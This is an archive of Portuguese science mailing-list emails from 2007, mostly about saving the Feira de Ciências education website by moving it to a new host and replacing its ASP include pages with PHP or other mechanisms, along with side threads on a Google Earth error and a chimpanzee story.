TO: ciencialist@yahoogrupos.com.br
DATE: 30/08/2007 19:11

oi pessoal,
estive um pouco afastada e agora que voltei ainda não consegui acreditar no que estou lendo... o encerramento do site!!!!
não entendo muito do assunto, mas se eu puder ajudar de alguma maneira podem contar comigo.

abraços
aline


----- Mensagem original ----
De: Esteban Moreno <estebanlmoreno@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 28 de Agosto de 2007 17:06:19
Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Leo e demais,
sei que podem ser alheios a projetos, mas o MEC está com um edital
muito bom para apoiar a produções multimídias:
<http://portal.mec.gov.br/arquivos/pdf/conteudosdigitais.pdf>

Se alguns ciencialisteiros apoiarem, pode ser uma excelente
oportunidade não só para manter o feira de ciências, como também
equipá-lo com diversos aportes, como criar um próprio provedor para o
imperdível, etc.

Há também ótimos provedores com um preço bem acessível, tais como:
http://www.cgnhost.com/
e
http://www.bysite.com.br/

Seria para mim uma honra colaborar para manter o sítio do Leo.
Abraços,
Esteban.





Em 27/08/07, Robespierre B. Gonçalves
<robespierre.goncalves@gmail.com> escreveu:
>

>
> Já que pagar um serviço parece ser problemárico, achei esta site com
> uma lista de serviços de hopedagem gratuita.
> Acho que vale dar uma olhada e procurar qual se adapta melhor ao
> Feira de Ciências:
>
> http://www.free-webhosts.com/
>
> []s,
> Pierre
> www.piada.net
> www.receitasfaceis.net
> www.technewsbr.com
> www.extremerts.com
>
> --- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
> <eduardo@...> escreveu
>
> >
> > Na época do FHC tive vários contatos no MCT. Por sua vez, eles me
> colocaram em contato com várias instituições e me abriram várias
> oportunidades, todas em parceria com alguma universidade.
> >
> > O fato das universidades terem que acompanhar todos os projetos
> podou significativamente todas as iniciativas. Boa parte do trabalho
> técnico tinha que ficar com as universidades. Isso é equivalente ao
> que vc denominou 'ficar com o rabo preso'.
> >
> > Esta questão me levou a criar duas hipóteses:
> >
> > (1) Ou o governo tem receio de que desenvolvamos armas ou
> artefatos equivalentes que possam por em risco a soberania nacional
> (?). Bom, creio que não. Eles querem mesmo é que o poder continue
> como está, mesmo que isso venha a sacrificar idéias revolucionárias.
> >
> > (2) Ou as verbas para as universidades já estão tão comprometidas
> que só resta ao governo empurrar as novas propostas para baixo dos
> Centros de Custos já formados e comprometidos.
> >
> > Esta última hipótese é mais provável, levando-se em conta em que
> ninguém quer prejudicar a ninguém e que todo recurso é escasso.
> >
> > Em um governo democrático, deveríamos ao menos ter acesso e
> direito a participar das decisões no Congresso para decidir o uso
> das verbas para as Ciências e Tecnologias.
> >
> > Eu, por exemplo, apoiaria a disponibilização de verbas para idéias
> de divulgação científica de qualquer âmbito, mesmo sem o
> acompanhamento dos devidos órgãos e desde que provado a eficácia e
> eficiência. É este o caso do site da Feira de Ciências.
> >
> > Abrs,
> >
> > Sardeiro
> >
> >
> > ----- Original Message -----
> > From: Luis Brudna
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Monday, August 27, 2007 3:55 PM
> > Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br -
> ENCERRAMENTO
> >
> >
> > Certa vez tentei contato com o MCT para saber se existia algum
> > incentivo para sites sobre ciencia. Provavelmente minha tatica de
> > perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
> > desculpas.
> > Afirmaram estar jah com um projeto em andamento e que o tal site
> deles
> > sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao
> vi
> > nenhum portal do MCT com o prometido.
> >
> > Talvez tentando conseguir verbas de projetos jah em andamento.
> Mas
> > isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
> > satisfacao de tudo.
> >
> > Ateh
> > Luis Brudna
> >
>
> > On 8/27/07, Eduardo Sardeiro <eduardo@...> wrote:
> > >
> > >
> > > Prezado Prof. Leo e demais participantes do CienciaList,
> > >
> > > Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria
> Ondulatória da Matéria) e na construção de aparatos demonstrativos.
> > >
> > > Prometi a mim mesmo que só voltaria aos diálogos depois de
> fazer os ajustes finais na teoria, de forma que pudesse expô-la
> indubitavelmente.
> > >
> > > Contudo venho acompanhando os tópicos via e-mails, ainda que
> alguns tenham sido de forma superficial. Especificamente, este
> tópico sobre o Encerramento do site Feira de Ciências me fez ficar
> alarmado.
> > >
> > > Em um país onde a cultura puramente científica é pouco
> fomentada e apoiada pelo governo, um site como o Feira de Ciências é
> um oásis e não deve jamais terminar. Essa idéia é um verdadeiro
> absurdo!
> > >
> > > Existem argumentos mais do que suficientes para que já
> houvesse o apoio governamental no seu site, principalmente da
> FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos
> com o Ministério das Ciências e Tecnologia que vive esperando as
> iniciativas cairem do céu!
> > >
> > > Particularmente o Feira de Ciências tem me servido como
> referência em vários aspectos. Se eu puder auxiliar em alguma coisa,
> conte comigo.
> > >
> > > Um forte abraço,
> > >
> > > Eduardo Sardeiro
> > >
> >
> >
> >
> >
> >
> > ----------------------------------------------------------
> -----------
> > Esta mensagem foi verificada pelo E-mail Protegido Terra.
> > Scan engine: McAfee VirusScan / Atualizado em 27/08/2007 /
> Versão: 5.1.00/5106
> > Proteja o seu e-mail Terra: http://mail.terra.com.br/
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O novo google earth
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/08/2007 22:24

Vitor, não sei se posso ajudar. No meu computador o sistema avisou que
teria que alterar o sistema de exibição para outro formato (não
recordo o nome) para não comprometer o funcionamento. Ele fez sozinho
e nunca tive qualquer problema. Mas é uma versão beta, riscos maiores
ocorrem. Bom, fico na torcida que alguém lance alguma luz.
Um abraço,
Esteban.

Em 30/08/07, J.Victor <j.victor.neto@uol.com.br> escreveu:
>

>
> Olá Esteban,
>
> Em meu PC, está aparecendo as seguintes mensagens, na abertura(mas, um click
> em ignorar, vai à etapa seguinte):
>
> "Não foi possivel carregar a imagem
>
> Stream0-0 "
>
> "Falha na busca de ScreenOverlay(Stream0-0)"
>
> Você poderia informar o que está faltando na minha instalação?
>
> Já reinstalei e fiz a atualização. A falha acima permanece.
>
> Grato por qualquer informação.
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Esteban Moreno
> Enviada em: quarta-feira, 29 de agosto de 2007 15:39
> Para: undisclosed-recipients:
> Assunto: [ciencialist] O novo google earth
>
> Maravilhoso!
>
> Uma resenha consta em:
> http://baixaki.ig.com.br/download/Google-Earth.htm
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>


SUBJECT: Re: FDC - Leo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/08/2007 00:08

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Então, o problema não é exatamente o sufixo 'asp' e sim a tag
> 'include'

Acho q tem php no servidor. Aí é só substituir pelo comando apropriado.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O novo google earth
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/08/2007 09:42

Esteban Moreno wrote:
> Vitor, não sei se posso ajudar. No meu computador o sistema avisou que
> teria que alterar o sistema de exibição para outro formato (não
> recordo o nome) para não comprometer o funcionamento. Ele fez sozinho
> e nunca tive qualquer problema. Mas é uma versão beta, riscos maiores
> ocorrem. Bom, fico na torcida que alguém lance alguma luz.
> Um abraço,
> Esteban.
>
> Em 30/08/07, J.Victor <j.victor.neto@uol.com.br> escreveu:
>
>> Olá Esteban,
>>
>> Em meu PC, está aparecendo as seguintes mensagens, na abertura(mas, um click
>> em ignorar, vai à etapa seguinte):
>>
>> "Não foi possivel carregar a imagem
>>
>> Stream0-0 "
>>
>> "Falha na busca de ScreenOverlay(Stream0-0)"
>>
>> Você poderia informar o que está faltando na minha instalação?
>>
>> Já reinstalei e fiz a atualização. A falha acima permanece.
>>
>> Grato por qualquer informação.

Tem o DirectX instalado? Instale, ou rode a versão em OpenGL. Isso deve
resolver. Caso contrário, avise.


SUBJECT: RES: [ciencialist] Re: FDC - Leo
FROM: "heber" <heber2000@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/08/2007 14:25

Não precisa usar include, dá pra fazer em HTML puro usando o comando iframe.



Att,

H





Analista de sistemas Java











_____

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 30 de agosto de 2007 18:08
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: FDC - Leo



Olá César,

O mUKA, que está tentando 'adotar' o Feira, não tem plataforma 'asp'. Na
verdade, o site todo é na base do html, apenas uma instrução 'asp' é usada
(e é a 'chave' do pouco espaço usado pelo armazenamento do site).
Então, o problema não é exatamente o sufixo 'asp' e sim a tag 'include' (que
é 'filho' do Takata).
Vou tentar expor e, quem sabe, vc enxerga uma saída homérica:

Todas as páginas 'index?.asp (? é o número da sala) é montada na hora que o
consulente a chama, através de quatro 'includes' que insere no devido local
quatro menus; o da coluna da esquerda, o do 'welcome', o da coluna da
direita e o menu central da sala. Esses quatro menus estão arquivados na
pasta 'menus'.
Se não houvesse essa instrução 'include', cada index (27 salas) teria que
armazenar fisicamente os quatro menus.
Além disso, a listagem geral de todos os menus do site, é simplesmente uma
sucessão de includes; incluindo cada menu, automaticamente e atualizados.

Cada página interna do site (cerca de 2400) tem no topo os links para as
demais salas --- entra via 'include'.

Veja que esse 'include' simplifica um bocado o automatismo dos index,
listagem, e páginas.

A 'maquinária' do mUKA (ONIX) tem uma pancada de sufixos php etc. não tem
esse 'asp'.

Então, não é exatamente o sufixo 'asp' que atrapalha ........

chegou visita...... continuo depois.........

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@ <mailto:leobarretos%40uol.com.br> uol.com.br
http://www.feiradec <http://www.feiradeciencias.com.br/doacoes.asp>
iencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail. <mailto:cesarakg%40gmail.com>
com>
Para: <ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
yahoogrupos.com.br>
Enviada em: quinta-feira, 30 de agosto de 2007 15:34
Assunto: [ciencialist] Re: FDC - Leo

--- Em ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Se utilizarmos do sufixo "html" perderemos bons milhares de
consulentes por dia --- se tirarmos o Feira de Ciências do ar,
perderemos esses milhares e todos os outros por algum tempo, mas não
permanentemente. Assim, fico num impasse 'transsexual' :-)

Não necessariamente. Um bom administrador de hospedagem de páginas
deve conseguir programar o programa que hospeda as páginas para
aceitar os pedidos de páginas com extensão ".asp" e converter
automaticamente para ".html", desde que esta seja a única mudança. Se
houverem mais mudanças, provavelmente deve ser possível fazer a
reescrita da solicitação, mas é questão de verificar qual o programa
que o servidor está usando, e se eles oferecem este tipo de serviço.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: FDC - Leo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/08/2007 16:50

Não entendo de programação mas, acredito, que trocar 'include' por 'iframe' não seja uma solução tão simples. Para começar, todas as páginas deverão ser alteradas para estrutura de 'quadros' e especificado o local dos frames. Acho.

Mas, parece-se que tive uma 'inspiração divina'; por que não substituir a instrução 'include' por um pequeno 'script' que faça a operação desejada?

Não sei escrever esse 'script' mas, para um programador parece-se que será coisa de segundos!
Assim, como tenho um software de 'procura e troca', fazer essa alteração seria uma barbada ... e tudo o mais continuaria como está!

Fico no aguardo desse 'anjo' que torne real essa 'inspiração divina'.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "heber" <heber2000@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 31 de agosto de 2007 14:25
Assunto: RES: [ciencialist] Re: FDC - Leo


Não precisa usar include, dá pra fazer em HTML puro usando o comando iframe.



Att,

H





Analista de sistemas Java











_____

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 30 de agosto de 2007 18:08
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: FDC - Leo



Olá César,

O mUKA, que está tentando 'adotar' o Feira, não tem plataforma 'asp'. Na
verdade, o site todo é na base do html, apenas uma instrução 'asp' é usada
(e é a 'chave' do pouco espaço usado pelo armazenamento do site).
Então, o problema não é exatamente o sufixo 'asp' e sim a tag 'include' (que
é 'filho' do Takata).
Vou tentar expor e, quem sabe, vc enxerga uma saída homérica:

Todas as páginas 'index?.asp (? é o número da sala) é montada na hora que o
consulente a chama, através de quatro 'includes' que insere no devido local
quatro menus; o da coluna da esquerda, o do 'welcome', o da coluna da
direita e o menu central da sala. Esses quatro menus estão arquivados na
pasta 'menus'.
Se não houvesse essa instrução 'include', cada index (27 salas) teria que
armazenar fisicamente os quatro menus.
Além disso, a listagem geral de todos os menus do site, é simplesmente uma
sucessão de includes; incluindo cada menu, automaticamente e atualizados.

Cada página interna do site (cerca de 2400) tem no topo os links para as
demais salas --- entra via 'include'.

Veja que esse 'include' simplifica um bocado o automatismo dos index,
listagem, e páginas.

A 'maquinária' do mUKA (ONIX) tem uma pancada de sufixos php etc. não tem
esse 'asp'.

Então, não é exatamente o sufixo 'asp' que atrapalha ........

chegou visita...... continuo depois.........

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@ <mailto:leobarretos%40uol.com.br> uol.com.br
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De: "César A. K. Grossmann" <cesarakg@gmail. <mailto:cesarakg%40gmail.com>
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Para: <ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
yahoogrupos.com.br>
Enviada em: quinta-feira, 30 de agosto de 2007 15:34
Assunto: [ciencialist] Re: FDC - Leo

--- Em ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Se utilizarmos do sufixo "html" perderemos bons milhares de
consulentes por dia --- se tirarmos o Feira de Ciências do ar,
perderemos esses milhares e todos os outros por algum tempo, mas não
permanentemente. Assim, fico num impasse 'transsexual' :-)

Não necessariamente. Um bom administrador de hospedagem de páginas
deve conseguir programar o programa que hospeda as páginas para
aceitar os pedidos de páginas com extensão ".asp" e converter
automaticamente para ".html", desde que esta seja a única mudança. Se
houverem mais mudanças, provavelmente deve ser possível fazer a
reescrita da solicitação, mas é questão de verificar qual o programa
que o servidor está usando, e se eles oferecem este tipo de serviço.

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SUBJECT: Motor com roda desbalanceada e fonte externa de calor
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/08/2007 19:16

Olá a todos!

Olhem o motor em http://www.youtube.com/watch?v=bs_OtCsDJoY

Vamos construir um de 10 m de diâmetro, alimentado com álcool a noite
e com sol de dia? Que rendimento teremos?


Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Re: FDC - Leo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/08/2007 23:12

Se entendi, o novo servidor suporta PHP, mas não ASP. E se deseja usar
tanto o "include", quanto preservar o nome dos arquivos como ASP.

Isso é possível, até onde sei. Porque:
1- O PHP também tem o "include" que funciona de forma semelhante;
2- Vc pode configurar o servidor para tratar páginas com a extensão
ASP como se fossem PHP. Vc ainda precisa traduzir os comandos ASP para
PHP, mas para o usuário (incluindo mecanismos de busca e referências)
isso seria transparente. Pareceria uma página ASP, porque teria esse
nome mesmo.

Posso ajudar a fazer isso com o pouco que sei, se necessário.

Mas a médio e longo prazo, o ideal seria converter o FDC para uma
plataforma mais sofisticada, e ter redirecionadores automáticos dos
endereços antigos para os novos. Seria bem mais trabalhoso, e temo não
poder me comprometer a ajudar em algo assim. Mas poderíamos angariar
doações para pagar um profissional para a tarefa, bem como um bom
bônus para o prof. Léo.

Prof, o FDC realmente seria ainda melhor se houvesse uma sessão de
vídeos. Isso poderia alavancar ainda mais as visitas em múltiplos de
dez, acredito.

Abraços,

Mori

On 8/31/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Não entendo de programação mas, acredito, que trocar 'include' por 'iframe' não seja uma solução tão simples. Para começar, todas as páginas deverão ser alteradas para estrutura de 'quadros' e especificado o local dos frames. Acho.
>
> Mas, parece-se que tive uma 'inspiração divina'; por que não substituir a instrução 'include' por um pequeno 'script' que faça a operação desejada?
>
> Não sei escrever esse 'script' mas, para um programador parece-se que será coisa de segundos!
> Assim, como tenho um software de 'procura e troca', fazer essa alteração seria uma barbada ... e tudo o mais continuaria como está!
>
> Fico no aguardo desse 'anjo' que torne real essa 'inspiração divina'.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: "heber" <heber2000@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 31 de agosto de 2007 14:25
> Assunto: RES: [ciencialist] Re: FDC - Leo
>
>
> Não precisa usar include, dá pra fazer em HTML puro usando o comando iframe.
>
> Att,
>
> H
>
> Analista de sistemas Java
>
> _____
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Luiz Ferraz Netto
> Enviada em: quinta-feira, 30 de agosto de 2007 18:08
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Re: FDC - Leo
>
> Olá César,
>
> O mUKA, que está tentando 'adotar' o Feira, não tem plataforma 'asp'. Na
> verdade, o site todo é na base do html, apenas uma instrução 'asp' é usada
> (e é a 'chave' do pouco espaço usado pelo armazenamento do site).
> Então, o problema não é exatamente o sufixo 'asp' e sim a tag 'include' (que
> é 'filho' do Takata).
> Vou tentar expor e, quem sabe, vc enxerga uma saída homérica:
>
> Todas as páginas 'index?.asp (? é o número da sala) é montada na hora que o
> consulente a chama, através de quatro 'includes' que insere no devido local
> quatro menus; o da coluna da esquerda, o do 'welcome', o da coluna da
> direita e o menu central da sala. Esses quatro menus estão arquivados na
> pasta 'menus'.
> Se não houvesse essa instrução 'include', cada index (27 salas) teria que
> armazenar fisicamente os quatro menus.
> Além disso, a listagem geral de todos os menus do site, é simplesmente uma
> sucessão de includes; incluindo cada menu, automaticamente e atualizados.
>
> Cada página interna do site (cerca de 2400) tem no topo os links para as
> demais salas --- entra via 'include'.
>
> Veja que esse 'include' simplifica um bocado o automatismo dos index,
> listagem, e páginas.
>
> A 'maquinária' do mUKA (ONIX) tem uma pancada de sufixos php etc. não tem
> esse 'asp'.
>
> Então, não é exatamente o sufixo 'asp' que atrapalha ........
>
> chegou visita...... continuo depois.........
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@ <mailto:leobarretos%40uol.com.br> uol.com.br
> http://www.feiradec <http://www.feiradeciencias.com.br/doacoes.asp>
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> -----Mensagem Original-----
> De: "César A. K. Grossmann" <cesarakg@gmail. <mailto:cesarakg%40gmail.com>
> com>
> Para: <ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
> yahoogrupos.com.br>
> Enviada em: quinta-feira, 30 de agosto de 2007 15:34
> Assunto: [ciencialist] Re: FDC - Leo
>
> --- Em ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
> yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@...> escreveu
> >
> > Se utilizarmos do sufixo "html" perderemos bons milhares de
> consulentes por dia --- se tirarmos o Feira de Ciências do ar,
> perderemos esses milhares e todos os outros por algum tempo, mas não
> permanentemente. Assim, fico num impasse 'transsexual' :-)
>
> Não necessariamente. Um bom administrador de hospedagem de páginas
> deve conseguir programar o programa que hospeda as páginas para
> aceitar os pedidos de páginas com extensão ".asp" e converter
> automaticamente para ".html", desde que esta seja a única mudança. Se
> houverem mais mudanças, provavelmente deve ser possível fazer a
> reescrita da solicitação, mas é questão de verificar qual o programa
> que o servidor está usando, e se eles oferecem este tipo de serviço.
>
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SUBJECT: Re: [ciencialist] Re: FDC - Leo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/09/2007 06:25

Olá Kentaro, Homero (Oráculo) e experts,

poderiam entrar em contato com o mUKA ( muka@muka.org ) e ver se vcs podem ajudá-lo na transferência do Imperdível do Convex para o MUKA? Talvez algum tipo de ajuda em conversões, redirecionamento etc. agilize o processo e o Imperdível poder'voltar on-line o mais rápido possível.

Já transferi todos os arquivos do Feira para o mUKA ... agora é ajustar e transferir os DNSs para lá.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 31 de agosto de 2007 23:12
Assunto: Re: [ciencialist] Re: FDC - Leo


Se entendi, o novo servidor suporta PHP, mas não ASP. E se deseja usar
tanto o "include", quanto preservar o nome dos arquivos como ASP.

Isso é possível, até onde sei. Porque:
1- O PHP também tem o "include" que funciona de forma semelhante;
2- Vc pode configurar o servidor para tratar páginas com a extensão
ASP como se fossem PHP. Vc ainda precisa traduzir os comandos ASP para
PHP, mas para o usuário (incluindo mecanismos de busca e referências)
isso seria transparente. Pareceria uma página ASP, porque teria esse
nome mesmo.

Posso ajudar a fazer isso com o pouco que sei, se necessário.

Mas a médio e longo prazo, o ideal seria converter o FDC para uma
plataforma mais sofisticada, e ter redirecionadores automáticos dos
endereços antigos para os novos. Seria bem mais trabalhoso, e temo não
poder me comprometer a ajudar em algo assim. Mas poderíamos angariar
doações para pagar um profissional para a tarefa, bem como um bom
bônus para o prof. Léo.

Prof, o FDC realmente seria ainda melhor se houvesse uma sessão de
vídeos. Isso poderia alavancar ainda mais as visitas em múltiplos de
dez, acredito.

Abraços,

Mori

On 8/31/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Não entendo de programação mas, acredito, que trocar 'include' por 'iframe' não seja uma solução tão simples. Para começar, todas as páginas deverão ser alteradas para estrutura de 'quadros' e especificado o local dos frames. Acho.
>
> Mas, parece-se que tive uma 'inspiração divina'; por que não substituir a instrução 'include' por um pequeno 'script' que faça a operação desejada?
>
> Não sei escrever esse 'script' mas, para um programador parece-se que será coisa de segundos!
> Assim, como tenho um software de 'procura e troca', fazer essa alteração seria uma barbada ... e tudo o mais continuaria como está!
>
> Fico no aguardo desse 'anjo' que torne real essa 'inspiração divina'.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "heber" <heber2000@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 31 de agosto de 2007 14:25
> Assunto: RES: [ciencialist] Re: FDC - Leo
>
>
> Não precisa usar include, dá pra fazer em HTML puro usando o comando iframe.
>
> Att,
>
> H
>
> Analista de sistemas Java
>
> _____
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Luiz Ferraz Netto
> Enviada em: quinta-feira, 30 de agosto de 2007 18:08
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Re: FDC - Leo
>
> Olá César,
>
> O mUKA, que está tentando 'adotar' o Feira, não tem plataforma 'asp'. Na
> verdade, o site todo é na base do html, apenas uma instrução 'asp' é usada
> (e é a 'chave' do pouco espaço usado pelo armazenamento do site).
> Então, o problema não é exatamente o sufixo 'asp' e sim a tag 'include' (que
> é 'filho' do Takata).
> Vou tentar expor e, quem sabe, vc enxerga uma saída homérica:
>
> Todas as páginas 'index?.asp (? é o número da sala) é montada na hora que o
> consulente a chama, através de quatro 'includes' que insere no devido local
> quatro menus; o da coluna da esquerda, o do 'welcome', o da coluna da
> direita e o menu central da sala. Esses quatro menus estão arquivados na
> pasta 'menus'.
> Se não houvesse essa instrução 'include', cada index (27 salas) teria que
> armazenar fisicamente os quatro menus.
> Além disso, a listagem geral de todos os menus do site, é simplesmente uma
> sucessão de includes; incluindo cada menu, automaticamente e atualizados.
>
> Cada página interna do site (cerca de 2400) tem no topo os links para as
> demais salas --- entra via 'include'.
>
> Veja que esse 'include' simplifica um bocado o automatismo dos index,
> listagem, e páginas.
>
> A 'maquinária' do mUKA (ONIX) tem uma pancada de sufixos php etc. não tem
> esse 'asp'.
>
> Então, não é exatamente o sufixo 'asp' que atrapalha ........
>
> chegou visita...... continuo depois.........
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@ <mailto:leobarretos%40uol.com.br> uol.com.br
> http://www.feiradec <http://www.feiradeciencias.com.br/doacoes.asp>
> iencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "César A. K. Grossmann" <cesarakg@gmail. <mailto:cesarakg%40gmail.com>
> com>
> Para: <ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
> yahoogrupos.com.br>
> Enviada em: quinta-feira, 30 de agosto de 2007 15:34
> Assunto: [ciencialist] Re: FDC - Leo
>
> --- Em ciencialist@ <mailto:ciencialist%40yahoogrupos.com.br>
> yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@...> escreveu
> >
> > Se utilizarmos do sufixo "html" perderemos bons milhares de
> consulentes por dia --- se tirarmos o Feira de Ciências do ar,
> perderemos esses milhares e todos os outros por algum tempo, mas não
> permanentemente. Assim, fico num impasse 'transsexual' :-)
>
> Não necessariamente. Um bom administrador de hospedagem de páginas
> deve conseguir programar o programa que hospeda as páginas para
> aceitar os pedidos de páginas com extensão ".asp" e converter
> automaticamente para ".html", desde que esta seja a única mudança. Se
> houverem mais mudanças, provavelmente deve ser possível fazer a
> reescrita da solicitação, mas é questão de verificar qual o programa
> que o servidor está usando, e se eles oferecem este tipo de serviço.
>
> []s
> --
>
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> http://www.ciencial <http://www.ciencialist.com> ist.com
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SUBJECT: Fw: SEU PORTAL FEIRA DA CI�NCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 01/09/2007 10:38

Se eu tivesse tino para fazer essas coisas que o Prof. sugere, tudo se resolveria. Todavia ....
fico apenas do agradecimentos às sugestões.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: wainer_uff@yahoo.com
Para: Prof. Luiz Ferraz Netto
Cc: wainer_uff@yahoo.com
Enviada em: sábado, 1 de setembro de 2007 10:10
Assunto: SEU PORTAL FEIRA DA CIÊNCIA


Prezado Professor Luiz Ferraz Netto:
Sou professor titular da Escola de Engenharia da Universidade Federal Fluminense - UFF. No semestre passado, lecionei uma disciplina intitulada METODOLOGIA CIENTIFICA PARA A ENGENHARIA oferecida para os alunos do primeiro ano do curso de engenharia. Com o objetivo de proporcionar aos meus alunos calouros um modo prático e efetivo de assimilarem os conceitos de validação ou não de uma hipótese através de uma experiência científica, procurei experimentos simples que pudessem ser facilmente realizados por grupos reduzidos de alunos. Foi então que encontrei seu site, e indiquei seu portal, tendo sido varios de seus experimentos utilizados pelos alunos.
Seu excelente trabalho foi muito proveitoso para a minha disciplina. Acredito que um portal tão útil até mesmo para alunos iniciantes de um curso superior de Engenharia muito mais deve ser para muitos jovens cursando o ensino médio em nosso País.
Não sei quais as razões que o estão levando a desistir de tão importante projeto. Mas se for por razões econômicas, sugiro contactar empresas brasileiras que certamente serão estimuladas a contribuir para sua manutenção. Cito, por exemplo, a PETROBRÁS empresa que contribui fortemente com instituições de ensino e de pesquisa para o desenvolvimento da ciência e da tecnologia nacional. Estou certo de que Universidades, públicas ou privadas, também teriam condições, além de muito interesse, em abrigar o seu site.
De qualquer modo quero parabenizar-lhe pelo excelente trabalho realizado, e lamentar profundamente o fato de estar sendo levado, por quaisquer que sejam as razões, a interromper este maravilhoso trabalho. Se puder ser de alguma ajuda, estou a sua disposição.
Prof. Wainer da Silveira e Silva, Ph.D.
(021) 2719-9058
wainer_uff@yahoo.com


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Park yourself in front of a world of choices in alternative vehicles.
Visit the Yahoo! Auto Green Center.


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SUBJECT: Oliver, o “chimpanzé humano”
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:08

Oliver, o "chimpanz� humano" <http://www.ceticismoaberto.com/news/?p=962>
Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=962>

Muito antes de George W. Bush ser presidente, um chimpanz� causou sensa��o
pelo mundo devido � sua assustadora semelhan�a com o ser humano. Era
Oliver<http://en.wikipedia.org/wiki/Oliver_%28chimpanzee%29>,
